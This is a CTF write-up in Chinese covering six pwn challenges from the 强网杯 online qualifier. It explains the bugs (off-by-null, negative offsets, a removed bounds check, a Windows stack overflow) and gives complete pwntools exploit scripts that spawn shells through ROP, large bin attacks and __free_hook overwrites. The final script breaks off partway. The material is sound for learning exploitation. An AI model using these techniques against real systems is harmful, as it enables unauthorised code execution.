强网杯线上赛部分pwn

pwn比赛,但是太弱了只能做简单的题,难题只能赛后学习别人的wp了;最后跟着队里打进了前十,大哥们太猛了!就简单记录一下自己做得题好了,本来是想着复现一些题的,但是时间上目前比较吃紧,以后有时间再看吧(咕咕咕)。

QWBlogin

解题过程

  1. vm pwn,分析一下binary:

    初始化的过程如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    v9 = (struc_pcb *)calloc(0xD0uLL, 1uLL);
    v9->code_buf = calloc(1uLL, ((*(_QWORD *)(v8 + 14) >> 12) + 1LL) << 12);// v8 + 6 ===> code data start
    memcpy(v9->code_buf, &v8[*(_QWORD *)(v8 + 6)], *(_QWORD *)(v8 + 14));// v8 + 14 ===> code length
    v9->code_size = ((*(_QWORD *)(v8 + 14) >> 12) + 1LL) << 12;// store code data size
    v9->global_buf = calloc(1uLL, ((*(_QWORD *)(v8 + 30) >> 12) + 1LL) << 12);// v8 + 30 ===> global data size
    memcpy(v9->global_buf, &v8[*(_QWORD *)(v8 + 22)], *(_QWORD *)(v8 + 30));// v8 + 22 ===> global data start
    v9->global_size = ((*(_QWORD *)(v8 + 30) >> 12) + 1LL) << 12;// store global data size
    v9->stack_buf = calloc(1uLL, 0x20000uLL); // stack
    v9->stack_size = 0x20000LL;
    v9->_rsp = 0x10000LL;
    v9->_rip = *(_QWORD *)(v8 + 38); // v8 + 38 ===> pc start
    IO_FILE = (__int64)calloc(0x18uLL, 1uLL);
    *(_QWORD *)(IO_FILE + 16) = 0LL;
    *(_DWORD *)IO_FILE = 0;
    *(_QWORD *)(IO_FILE + 8) = 0LL;
    v3 = IO_FILE;
    *(_QWORD *)(v3 + 16) = calloc(0x18uLL, 1uLL);
    *(_QWORD *)(*(_QWORD *)(IO_FILE + 16) + 16LL) = 0LL;
    **(_DWORD **)(IO_FILE + 16) = 1;
    *(_QWORD *)(*(_QWORD *)(IO_FILE + 16) + 8LL) = 0LL;
    v4 = *(_QWORD *)(IO_FILE + 16);
    *(_QWORD *)(v4 + 16) = calloc(0x18uLL, 1uLL);
    *(_QWORD *)(*(_QWORD *)(*(_QWORD *)(IO_FILE + 16) + 16LL) + 16LL) = 0LL;
    **(_DWORD **)(*(_QWORD *)(IO_FILE + 16) + 16LL) = 2;
    *(_QWORD *)(*(_QWORD *)(*(_QWORD *)(IO_FILE + 16) + 16LL) + 8LL) = 0LL;
    while ( !(unsigned int)vmstart(v9) )
    ;

    传入的v9为自定义的结构体,为了方便分析:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    00000000 struc_pcb       struc ; (sizeof=0xD8, mappedto_21)
    00000000 REG dq 16 dup(?)
    00000080 _rsp dq ?
    00000088 field_88 dq ?
    00000090 _rip dq ?
    00000098 rflag dq ?
    000000A0 code_size dq ?
    000000A8 code_buf dq ? ; offset
    000000B0 global_size dq ?
    000000B8 global_buf dq ? ; offset
    000000C0 stack_size dq ?
    000000C8 stack_buf dq ? ; offset
    000000D0 field_D0 dq ?
    000000D8 struc_pcb ends

    基本上test.bin里面,0x100 - 0x8B8的位置就是code segment0x8B8 - 0x978就是bss segment,栈是通过calloc(1uLL, 0x20000uLL)另外开辟的,栈底就是0x20000

    指令部分简单贴一下当时做题的分析结果(有些指令逻辑是相同的,但是不影响):

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    [0]  [1]  [2]  [3]
    0000 0000 0000 0000
    [3] ==> opcode ins_len
    0x1, 2, 3, 4 0xB
    0x0, B, C, D, E 0x4
    0x5 [2] == 0x1: 0x4
    [2] == 0x2: 0x5
    [2] == 0x3: 0x7
    [2] == 0x4: 0xB
    0x6 0x3
    0x7 [2] == 0x1: 0x3
    [2] == 0x2: 0x4
    [2] == 0x3: 0x6
    [2] == 0x4: 0xA
    0x8 [1] == 0x2: 0x2
    else: 0xA
    0x9 [1] == 0x2: 0x2
    _rip >= size-10: 0x2

    rflag:
    8 < (unsigned)
    1 overflow
    4 zero
    2 res is negative (signed)

    1:mov指令
    2:add
    3:sub
    4:mul
    5:mul
    6:mod
    7:xor
    8:or
    9:and
    A:shl
    B:shr
    C:not
    D:pop
    E:push
    10:call
    11:ret
    12:cmp
    13:jmp
    14:jz
    15:jnz
    16:jg
    17:jg
    18:jle
    19:jge
    1A:ja
    1B:ja
    1C:jae
    1D:jae
    0x20:syscall

    for 0x20:
    20 xx ===> r0 == 3, args: r1 close
    20 08 ===> r0 == 1, args: r1, r2, r3 read to virtual bss
    r0 == 2, args: r1, r2, r3 write from virtual bss
    20 09 ===> r0 == 1, args: r1, r2, r3 read to virtual stack
    r0 == 2, args: r1, r2, r3 write from virtual stack
    20 10 ===> r0 == 0, args: r1, r2 open
  2. 由于本身是个pwn题,如果用我的龟速去写个脚本翻译指令就太慢了,索性就直接颅内翻译+动态调试验证,其实逻辑也十分简单。

  3. 首先test.bin是通过call指令进入主函数,然后要求输入password然后进行check3个字符是单独比较的,后面32个字符分成四组异或后再比较,基本遵从如下格式(test.bin0x22E的位置):

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    01 15 00 01   ===>   movb r0, 1
    01 25 01 00 00 ===> movw r1, 1
    01 25 02 40 00 ===> movw r2, 0x40
    01 15 03 21 ===> movb r3, 0x21
    20 08 ===> read
    07 40 08 08 ===> xor r8, r8
    01 41 08 40 00 00 00 00 00 00 00 ===> movq r8, 0x40
    01 45 09 CD AB 27 98 12 34 72 42 ===> movq r9, 0x427234129827ABCD
    07 40 08 09 ===> xor r8, r9
    12 45 08 8A 9B 17 DC 40 07 24 10 ===> cmp r8, 0x10240740DC179B8A
    14 17 02 ===> jz 2
    00 0A ===> exit

    那么简单写个逆推脚本:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    res = ""

    res += "QWQ"

    a1 = [0xCD, 0xAB, 0x27, 0x98, 0x12, 0x34, 0x72, 0x42]
    a2 = [0x8A, 0x9B, 0x17, 0xDC, 0x40, 0x07, 0x24, 0x10]
    res += ''.join([chr(a1[i] ^ a2[i]) for i in range(8)])

    a1 = [0xAD, 0xDE, 0x41, 0x12, 0x34, 0x12, 0x74, 0x12]
    a2 = [0xFA, 0xED, 0x70, 0x5E, 0x70, 0x22, 0x3A, 0x21]
    res += ''.join([chr(a1[i] ^ a2[i]) for i in range(8)])

    a1 = [0x23, 0xC1, 0xAB, 0x12, 0x58, 0x96, 0x34, 0x86]
    a2 = [0x77, 0xB3, 0xD2, 0x20, 0x08, 0xE1, 0x5A, 0xA7]
    res += ''.join([chr(a1[i] ^ a2[i]) for i in range(8)])

    a1 = [0x9A, 0x78, 0x36, 0x12, 0x78, 0x16, 0x32, 0x12]
    a2 = [0xDD, 0x37, 0x71, 0x5D, 0x3F, 0x59, 0x75, 0x5D]
    res += ''.join([chr(a1[i] ^ a2[i]) for i in range(8)])

    print(res)

    即可得到:QWQG00DR3VRW31LD0N3Try2Pwn!GOGOGOGO

  4. 接下来check通过,可以向栈上写入0x800bytes数据,之后通过ret,也就是从栈上取出地址再跳转。而写入的0x800字节可以覆盖这个返回地址,那么这样看来这个题目其实就是需要通过在vm中实现rop。

  5. 根据前面所分析的,存在openreadwrite调用,而且对跳转地址有范围内的检查,所以只能在载入的test.bin寻找vm gadget,然后通过orw的方式获取flag。

    而其实也不难注意到test.bin中存在一段比较可疑的数据,仔细查看可以发现

    pop_regs

    存在上图这样的pop r0; ret;pop r1; ret;等gadget,也就是说r0, r1, r2, r3都是可控的,满足了0x20调用的条件,而且:

    syscall

    同时存在0x20调用。

  6. 那么就很简单了,通过构造rop的方式来orw即可。

  7. exp:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    p = remote('47.94.20.173', 32142)

    pop_r0 = 0x2F5
    pop_r1 = 0x377
    pop_r2 = 0x45C
    pop_r3 = 0x4E1
    syscall = 0x5B1 # read is 1, write is 2
    syscall_open = 0x6ED

    password = 'QWQG00DR3VRW31LD0N3Try2Pwn!GOGOGOGO'
    p.sendafter("password: \n", password)

    payload = "A" * 0x108
    payload += flat([pop_r0, 1, pop_r1, 0, pop_r2, 0, pop_r3, 0x8, syscall]) # read
    payload += flat([pop_r0, 0, pop_r1, 0, pop_r2, 0, syscall_open]) # open
    payload += flat([pop_r0, 1, pop_r1, 4, pop_r2, 0x10, pop_r3, 0x40, syscall]) # read
    payload += flat([pop_r0, 2, pop_r1, 1, pop_r2, 0x10, pop_r3, 0x40, syscall]) # write

    p.sendafter("PWNITNOW!GOGO!", payload)

    sleep(1)
    p.sendline("/flag\x00")

    p.interactive()

easypwn

解题过程

  1. 首先binary通过mallopt(1, 0)禁用了fastbin,但是在read_str中存在一个off by null

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    unsigned __int64 __fastcall read_str(__int64 a1, int a2)
    {
    char buf; // [rsp+1Fh] [rbp-11h]
    int i; // [rsp+20h] [rbp-10h]
    int v5; // [rsp+24h] [rbp-Ch]
    unsigned __int64 v6; // [rsp+28h] [rbp-8h]

    v6 = __readfsqword(0x28u);
    for ( i = -1; ; *(_BYTE *)(a1 + i) = buf )
    {
    v5 = i;
    if ( i + 1 >= (unsigned int)(a2 + 1) )
    break;
    if ( a2 - 1 == v5 )
    {
    buf = 0;
    *(_BYTE *)(a1 + ++i) = 0;
    return __readfsqword(0x28u) ^ v6;
    }
    if ( (int)read(0, &buf, 1uLL) <= 0 )
    exit(-1);
    if ( buf == 10 )
    return __readfsqword(0x28u) ^ v6;
    ++i;
    }
    return __readfsqword(0x28u) ^ v6;
    }
  2. 其次注意到binary是没有show功能的,所以很容易想到要打stdout来leak libc。

  3. 在没有fastbin的情况下,那么可以利用这个off by null完成unlink attack,形成chunk overlap,可以伪造出large bin,来进行large bin attack。因为我们知道在将一个比原large bin的size要大的unsorted bin链入large bin的时候,会使得large bin->bk->fd = unsorted bin以及large bin->bk_nextsize->fd_nextsize = unsorted bin,也就是能达到同时向两个任意地址写入堆块地址的目的。

  4. 同时注意到只要控制stdout_flags = 0xXXXXY800(Y为奇数)以及_IO_write_base < _IO_write_ptr即可触发输出相应缓冲区数据效果,从而leak出libc,所以采用控制unsorted bin的地址的低2 bytes(Y由于ASLR而随机)为Y800然后通过large bin->bk->fd写入,以及错位写_IO_write_base的低字节为\x00的方法。

  5. 而由于large bin的fd_nextsizebk_nextsize都是堆地址,我们要改到stdout的地方只能通过partial write,所以还要稍微做一下堆的排布,使得两个unsorted bin的bk分别先后占住large bin的bk_nextsizebk的位置。

  6. leak出libc之后,再通过一次large bin attack覆盖_IO_list_all为可控的堆地址,这样就能劫持_IO_FILE的vtable写入onegadget,在binary进行exit的时候触发来getshell。

  7. exp:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    p = remote('39.101.184.181', 10000)

    def add(size):
    p.sendlineafter("Your choice:", "1")
    p.sendlineafter("size:", str(size))

    def edit(idx, content):
    p.sendlineafter("Your choice:", "2")
    p.sendlineafter("idx:", str(idx))
    p.sendafter("content:", content)

    def delete(idx):
    p.sendlineafter("Your choice:", "3")
    p.sendlineafter("idx:", str(idx))

    def quit():
    p.sendlineafter("Your choice:", "4")

    stdout = 0x3c5620
    _IO_list_all_offset = libc.sym['_IO_list_all']
    one_gadget_offset = 0xf1207

    while True:
    try:
    # chunk overlap
    add(0xF8) # chunk 0
    add(0xF8) # chunk 1
    add(0xF8) # chunk 2
    add(0x3E8) # chunk 3
    add(0x1F8) # chunk 4
    add(0x2E8) # chunk 5
    add(0x1F8) # chunk 6

    edit(3, (p64(0) + p64(0x21)) * 0x3E + '\n')
    edit(4, (p64(0) + p64(0x21)) * 0x1F + p64(0x8F0)) # off by null
    edit(5, (p64(0) + p64(0x21)) * 0x2E + '\n')
    edit(6, (p64(0) + p64(0x21)) * 0x1F + '\n')
    delete(0)
    delete(5) # unlink attack

    add(0x3E8) # chunk 0
    edit(0, "A" * 0xF8 + p64(0x231) + "A" * 0xF8 + p64(0x301) + "A" * 0xF8 + p64(0x411) + '\n') # unsorted bin
    add(0x3E8) # chunk 5 (gap)
    add(0x18) # chunk 7 (gap)
    add(0x2D8) # chunk 8 (use all)
    delete(3)
    delete(8)
    add(0x2D8) # chunk 3 (get large bin)

    delete(2)
    add(0x108) # chunk 2
    add(0x1E8) # chunk 8 (use all)
    delete(1)
    add(0x1F8) # chunk 1
    add(0x28) # chunk 9 (use all)

    edit(0, "A" * 0xF8 + p64(0x231) + "A" * 0xF8 + p64(0x301) + "A" * 0xF8 + p64(0x411) + '\n') # fix

    edit(4, "A" * 0xE8 + p64(0x21) + "A" * 0x18 + p64(0x421) + '\n')
    delete(3) # unsorted bin

    # libc_base = _base(_libc)
    target = 0x5620 + 0x5000# + libc_base
    edit(9, p64(0) + p16(target - 0x10) + '\n')
    edit(8, p64(0) + p16(target - 0x20 + 0x19) + '\n')
    delete(0)
    add(0x3D8)

    p.recvuntil("\x00" * 0x18)
    libc_base = u64(p.recv(8)) - 0x3c36e0
    _IO_list_all = libc_base + _IO_list_all_offset
    one_gadget = libc_base + one_gadget_offset
    heap_base = u64(p.recv(8)) - 0x800

    break

    except:
    print("fail")
    p.close()
    p = remote('39.101.184.181', 10000)

    # large bin attack again
    edit(0, "A" * 0xF8 + p64(0x231) + "A" * 0xF8 + p64(0x301) + "A" * 0xF8 + \
    p64(0x401) + p64(libc_base + 0x3C4F68) + p64(_IO_list_all - 0x10) + \
    p64(heap_base + 0x300) * 2 + '\n')

    edit(4, "A" * 0xE0 + p64(0) + p64(0x411) + '\n')
    delete(7)
    delete(0)
    add(0x3E8)

    payload = p64(one_gadget) * 28 + p64(0) + p64(0x411)
    payload += "\x00" * 0x10 + p64(0) + p64(1) + "\x00" * 0xA8 + p64(heap_base + 0x7E0 - 0xF0)
    edit(4, payload + '\n')

    # exit
    quit()

    success("libc_base: " + hex(libc_base))
    success("heap_base: " + hex(heap_base))
    success("one_gadget: " + hex(one_gadget))

    p.interactive()

direct

解题思路

  1. 首先这个editoffset的检查不够严格,所以可以向任意负偏移的位置写值:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    unsigned __int64 edit()
    {
    unsigned __int64 result; // rax
    __int64 v1; // rax
    __int64 v2; // rcx
    __int64 v3; // [rsp+8h] [rbp-18h]
    __int64 v4; // [rsp+10h] [rbp-10h]
    size_t nbytes; // [rsp+18h] [rbp-8h]

    result = (unsigned int)open_status;
    if ( open_status )
    {
    print("Index: ");
    result = choice();
    v3 = result;
    if ( result <= 0xF )
    {
    result = chunk_array[result];
    if ( result )
    {
    print("Offset: ");
    v4 = choice();
    print("Size: ");
    v1 = choice();
    nbytes = v1;
    v2 = v4 + v1;
    result = chunk_size[v3];
    if ( v2 <= (__int64)result )
    {
    print("Content: ");
    read(0, (void *)(chunk_array[v3] + v4), nbytes);
    result = puts_("Done!");
    }
    }
    }
    }
    return result;
    }

    那么可以轻易的伪造unsorted bin。

  2. 但是同时注意到这也是一个”无 leak“的题目,因为没有常规的show功能,而且这个时候因为没有puts,所以通过stdout去leak的思路是行不通的。

  3. 这个时候关注一下这个opendirreaddiropendir会在对上开辟一块0x8040大小的chunk,一开始内容是空的,而在调用完readdir之后会发现这个chunk被写入了很多内容,比较明显的就是包含了当前目录下所有的文件名。这个时候查一下readdir到底干了什么:

    struct

    大概就是readdir会返回一个指向当前文件信息的结构体,而在close file功能的result = puts_((const char *)(v1 + 19));也可以看出,这个+19正好就是指向文件名了,也就是d_name

  4. 那么leak的思路就有了,就是利用unsorted bin->fd或bk,将某个结构体的d_name给覆盖掉,那么在某次调用close file打印文件名的时候,就会把这fd或者bk给打印出来,从而leak出libc。

  5. 接下就是直接tcache poisoning__free_hooksystem即可。

  6. exp:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    """ N0p / AAA """
    from pwn import *
    import sys, os, re

    context(arch='amd64', os='linux', log_level='debug')

    p = remote('106.14.214.3', 1912)

    def add(idx, size):
    p.sendlineafter("Your choice: ", "1")
    p.sendlineafter("Index: ", str(idx))
    p.sendlineafter("Size: ", str(size))

    def edit(idx, offset, size, content):
    p.sendlineafter("Your choice: ", "2")
    p.sendlineafter("Index: ", str(idx))
    p.sendlineafter("Offset: ", str(offset))
    p.sendlineafter("Size: ", str(size))
    p.sendafter("Content: ", content)

    def delete(idx):
    p.sendlineafter("Your choice: ", "3")
    p.sendlineafter("Index: ", str(idx))

    def opendir():
    p.sendlineafter("Your choice: ", "4")

    def readdir():
    p.sendlineafter("Your choice: ", "5")

    system_offset = libc.sym["system"]
    __free_hook_offset = libc.sym["__free_hook"]

    add(0, 0x18)
    add(1, 0xF8)
    add(2, 0xF8)
    add(3, 0xF8)
    add(4, 0xF8)

    opendir()
    readdir()

    edit(0, -8, 8, p64(0x4E1))
    add(5, 0x18)
    edit(5, -0x7F88, 0x28, p64(0x21) + p64(0) + p64(0x21) + p64(0) + p64(0x21))
    delete(0)

    add(6, 0xF8)
    add(7, 0xF8)
    add(8, 0xF8)
    add(9, 0xF8)
    add(10, 0xB8)

    edit(5, -0x7FA8 + 3, 5, 'AAAAA')
    readdir()
    readdir()
    readdir()
    p.recvuntil("AAAAA")
    libc_base = u64(p.recv(6).ljust(8, "\x00")) - 0x3ebca0
    __free_hook = libc_base + __free_hook_offset
    libc_system = libc_base + system_offset

    delete(2)
    edit(3, -0x100, 8, p64(__free_hook))

    add(11, 0xF8)
    edit(11, 0, 8, "/bin/sh\x00")
    add(12, 0xF8)
    edit(12, 0, 8, p64(libc_system))
    delete(11)

    success("libc_base: " + hex(libc_base))

    p.interactive()

oldschool

这题当时是队里大佬们做的,我只是赛后又做了一遍。

解题思路

  1. 题目给的是源代码,编译方式Ubuntu 18.04, GCC -m32 -O3,直接看源码会发现没有问题,之前pwnable以及中科大的HackerGame上也有过直接给源码的,反倒是编译后洞更明显。

  2. 那么直接编译之后,就会发现,mmap_edit有逻辑被优化掉了:

    1
    2
    3
    4
    5
    6
    7
    8
    if ( 4 * v2 >= 0 || (unsigned int)(g_ptr + 4 * v2) > 0xEFFFFFFF )
    {
    __printf_chk(1, "Value: ");
    if ( __isoc99_scanf("%u", &v3) != 1 )
    LABEL_3:
    exit(0);
    *(_DWORD *)(g_ptr + 4 * v0) = v3;
    }

    也就是说check不存在了,可以直接写到高地址的libc处了。

  3. 那么首先填满tcache,然后拿到unsorted bin,利用unsorted bin来leak出libc地址。

  4. 之后及直接利用mmap_edit__free_hooksystem即可。

  5. exp:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    p = remote('106.14.214.3', 2333)

    def add(idx, size):
    p.sendlineafter("Your choice: ", "1")
    p.sendlineafter("Index: ", str(idx))
    p.sendlineafter("Size: ", str(size))

    def edit(idx, content):
    p.sendlineafter("Your choice: ", "2")
    p.sendlineafter("Index: ", str(idx))
    p.sendafter("Content: ", content)

    def show(idx):
    p.sendlineafter("Your choice: ", "3")
    p.sendlineafter("Index: ", str(idx))
    p.recvuntil('Content: ')

    def delete(idx):
    p.sendlineafter("Your choice: ", "4")
    p.sendlineafter("Index: ", str(idx))

    def mmap(offset):
    p.sendlineafter("Your choice: ", "6")
    p.sendlineafter("Where do you want to start: ", str(offset))

    def edit_map(offset, val):
    p.sendlineafter("Your choice: ", "7")
    p.sendlineafter("Index: ", str(offset))
    p.sendlineafter("Value: ", str(val))

    main_arean_offset = 0x1d87a0
    system_offset = libc.sym["system"]
    __free_hook_offset = libc.sym["__free_hook"]

    add(0, 0x78)
    for i in range(7):
    add(i + 1, 0x78)
    for i in range(7):
    delete(i + 1)
    delete(0)
    for i in range(7):
    add(i + 1, 0x78)
    add(0, 0x78)
    edit(0, "AAA\n")
    show(0)
    p.recvuntil("AAA\n")
    libc_base = u32(p.recv(4)) - 0x38 - main_arean_offset
    __free_hook = libc_base + __free_hook_offset
    libc_system = libc_base + system_offset

    mmap(0)
    offset = (__free_hook - 0xE0000000) >> 2
    edit_map(offset, str(libc_system))

    edit(1, "/bin/sh\x00\n")
    delete(1)

    success("libc_base: " + hex(libc_base))

    p.interactive()

easyoverflow

比较简单的一个windows栈溢出,正好最近在学。

解题思路

  1. 首先栈溢出比较明显:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    do
    {
    --v10;
    memset(&Dst, 0, 0x100ui64);
    puts("input:");
    read(0, &Dst, 0x400u);
    puts("buffer:");
    puts(&Dst);
    }
    while ( v10 > 0 );

    也可以看出SEHSafeSEH都没有,开了GS

  2. 其次由于windows的ASLR机制与linux下不同,PIE base和dll base其低2 bytes均为0,而且在短时间内是不会变化的,也就是说第一次leak出来之后,后面可以直接用而不会因连接重置而重置;但是栈地址依然是随机的。

  3. 那么先统一把栈上面已有的PIEntdll上的库函数地址给leak出来,PIE用来return到puts上进行leak,(因为puts函数并不在ntdll里面,而system函数在ucrtbase.dll里面)。

  4. 至于这个栈上的cookie,从汇编代码中也可以看见:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    .text:00007FF61C651000                 push    rbx
    .text:00007FF61C651002 sub rsp, 130h
    .text:00007FF61C651009 mov rax, cs:__security_cookie
    .text:00007FF61C651010 xor rax, rsp
    .text:00007FF61C651013 mov [rsp+138h+var_18], rax

    ......

    .text:00007FF61C6510B2 mov rcx, [rsp+138h+var_18]
    .text:00007FF61C6510BA xor rcx, rsp ; StackCookie
    .text:00007FF61C6510BD call __security_check_cookie

    是先从binary的位置拿出__security_cookie的值,然后和rsp进行异或再写入栈上,退出时同样拿出栈上的cookiersp进行异或后再进行和__security_cookie的比较。因此如果rsp发生了变化,不能单纯地使用cookie来填充,而要leak出__security_cookiecookie计算出rsp地值,再用__security_cookie和新的rsp异或得到新的cookie写入到栈上。

  5. 后续地就是利用putsread地地址leak出来,然后计算出ucrtbase的加载地址从而计算出systemcmd.exe的地址,再用rop执行system("cmd.txt"),getshell后利用type flag.txt读flag。

  6. exp(写得比较复杂,实际那些base地址在leak之后都可以直接用):

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    from winpwn import *
    import sys

    context.log_level = 'debug'
    context.arch = 'amd64'

    # p = process("./StackOverflow.exe")
    # if len(sys.argv) == 2 and sys.argv[1] == '1':
    # windbgx.attach(p)

    p = remote('39.99.46.209', 13389)

    pop_rdi_rsi = 0x000000000000cf23 # pop rdi ; pop rsi ; ret
    pop_rcx = 0x000000000009217b # pop rcx ; ret
    puts_gadget = 0x10A6
    GS_offset = 0x3008
    read_offset = 0x2178

    payload = "A" * 0x100
    p.sendafter("input:\x0D\x0A", payload, timeout=1)
    p.recvuntil("buffer:\x0D\x0A")
    p.recv(0x100)
    cookie = u64(p.recv(6).ljust(8, '\x00'))

    # payload = "A" * 0x118
    # p.send(payload)
    # p.recvuntil("buffer:")
    # p.recvline()
    # p.recv(0x118)
    # PIE_base = u64(p.recv(6).ljust(8, '\x00')) - 0x12F4
    # PIE_base = 0x7ff61c650000
    PIE_base = 0x7ff6fcba0000

    payload = "A" * 0x188
    p.sendafter("input:\x0D\x0A", payload, timeout=1)
    p.recvuntil("buffer:\x0D\x0A")
    p.recv(0x188)
    ntdll_base = u64(p.recv(6).ljust(8, '\x00')) - 0x6A271

    payload = "A" * 0x100
    payload += p64(cookie)
    payload += "A" * 8
    payload += p64(1) # rbx
    payload += p64(ntdll_base + pop_rcx) + p64(PIE_base + GS_offset)
    payload += p64(PIE_base + puts_gadget)
    p.sendafter("input:\x0D\x0A", payload, timeout=1)
    p.recvuntil("buffer:\r\n")
    p.recvline()
    GS = u64(p.recv(6).ljust(8, '\x00'))
    old_rsp = GS ^ cookie
    new_rsp = old_rsp + 0x130 + 0x20

    payload = "A" * 0x100
    payload += p64(GS ^ new_rsp)
    payload += "A" * 8
    payload += p64(1) # rbx
    payload += p64(ntdll_base + pop_rcx) + p64(PIE_base + read_offset)
    payload += p64(PIE_base + puts_gadget)
    p.sendafter("input:\x0D\x0A", payload, timeout=1)
    p.recvuntil("buffer:\x0D\x0A")
    p.recvline()
    ucrtbase_base = u64(p.recv(6).ljust(8, '\x00')) - 0x16270
    system = ucrtbase_base + 0xABBA0
    cmd_exe = ucrtbase_base + 0xCC9F0

    new_rsp += 0x130 + 0x20
    payload = "A" * 0x100
    payload += p64(GS ^ new_rsp)
    payload += "A" * 8
    payload += p64(1) # rbx
    payload += p64(ntdll_base + pop_rcx) + p64(cmd_exe)
    payload += p64(ntdll_base + pop_rdi_rsi) + p64(0) * 2
    payload += p64(system)
    p.sendafter("input:\x0D\x0A", payload, timeout=1)

    print("[*] cookie: %s" % hex(cookie))
    print("[*] PIE_base: %s" % hex(PIE_base))
    print("[*] ntdll_base: %s" % hex(ntdll_base))
    print("[*] GS: %s" % hex(GS))
    print("[*] ucrtbase_base: %s" % hex(ucrtbase_base))

    p.interactive()

easymessage

解题思路

  1. 最开始的时候Leave message可以溢出8 bytes覆盖rbp,先输入name为一个大于256的值,然后利用溢出控制rbp - 4指向bssname的内存区域:

    1
    2
    3
    4
    5
    6
    7
    8
    .text:0000000000400985                 cmp     [rbp+var_4], 100h
    .text:000000000040098C jle short loc_400995
    .text:000000000040098E mov [rbp+var_4], 100h
    .text:0000000000400995
    .text:0000000000400995 loc_400995: ; CODE XREF: work+72↑j
    .text:0000000000400995 mov eax, [rbp+var_4]
    .text:0000000000400998 mov edi, eax
    .text:000000000040099A call leave_message
  2. 第二次Leave message就可以输入0x100payload,直接写入write的gadgets来leak libc ,以及read的gadget来向bss上读入第二段rop,同时stack pivot到写入第二段rop的位置处

  3. 之后写入 system(“/bin/sh”) 的 gadget 即可。

  4. exp:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    p = remote('123.56.170.202', 21342)

    def leave_name(name):
    p.sendlineafter("choice: ", "1")
    p.sendafter('name: ', name)

    def leave_message(message):
    p.sendlineafter("choice: ", "2")
    p.sendafter('message: ', message)

    def show():
    p.sendlineafter("choice: ", "3")
    p.recvuntil('says: ')

    read_got = elf.got['read']
    write_got = elf.got['write']
    write_offset = libc.sym['write']
    system_offset = libc.sym["system"]
    str_bin_sh_offset = libc.search("/bin/sh").next()

    ret = 0x0000000000400646 # ret
    pop_rdi = 0x0000000000400ac3 # pop rdi ; ret
    pop_rsi = 0x0000000000400ac1 # pop rsi ; pop r15 ; ret
    leave_ret = 0x0000000000400886 # leave ; ret
    gadget_1 = 0x400AA0
    gadget_2 = 0x400AB6
    bss = elf.bss(0x600)

    leave_name("\x70" * 4)

    payload = "A" * 0x8 + p64(0x6010D0 + 4)
    leave_message(payload + '\n')

    payload = "A" * 0x8 + p64(0)
    payload += flat([gadget_2, 0, 0, 1, write_got, 1, write_got, 0x8])
    payload += flat([gadget_1, 0, 0, 1, read_got, 0, bss, 0x200])
    payload += flat([gadget_1, 0, 0, bss - 8, 0, 0, 0, 0])
    payload += flat([leave_ret])
    leave_message(payload)
    p.recvuntil("done!\n\n")
    libc_base = u64(p.recv(8)) - write_offset
